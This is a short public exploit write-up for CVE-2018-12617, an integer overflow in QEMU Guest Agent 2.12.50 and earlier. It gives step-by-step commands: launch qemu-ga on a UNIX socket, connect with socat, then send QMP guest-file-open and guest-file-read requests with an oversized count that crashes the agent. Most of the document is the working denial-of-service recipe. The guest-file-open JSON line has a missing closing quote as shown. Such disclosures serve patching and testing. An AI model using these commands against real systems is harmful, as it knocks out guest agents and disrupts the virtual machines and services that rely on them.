# Exploit Title: QEMU Guest Agent 2.12.50 - Denial of Service
# Date: 2018-06-07
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.qemu.org/
# Software Link: https://www.qemu.org/download/
# Version: 2.12.50 and earlier
# Tested on: 2.12.50
# CVE : CVE-2018-12617
 
# QEMU Guest Agent 2.12.50 and earlier has an integer overflow causing a g_malloc0() 
# call to trigger a segfault() call when trying to allocate a large memory chunk. 
# The vulnerability can be exploited by sending a specific QMP command to 
# the agent via the listening socket.
 
1st, execute the guest-agent using the following command:
 
$ qemu-ga -m unix-listen -p /tmp/qga.sock -t /tmp
 
2nd, on the other console, connect to the UNIX socket using socat:
 
$ socat unix-connect:/tmp/qga.sock -
 
3rd, enter the following QMP command:
 
{"execute":"guest-file-open", "arguments":{"path":"/tmp/poc","mode":"w+a}}
{"return": 1000}
{"execute":"guest-file-read", "arguments":{"handle":1000,"count":4294967295}}
 
The guest-file-read must be specified with the correct handle value (file descriptor). Different files will have different handle value.
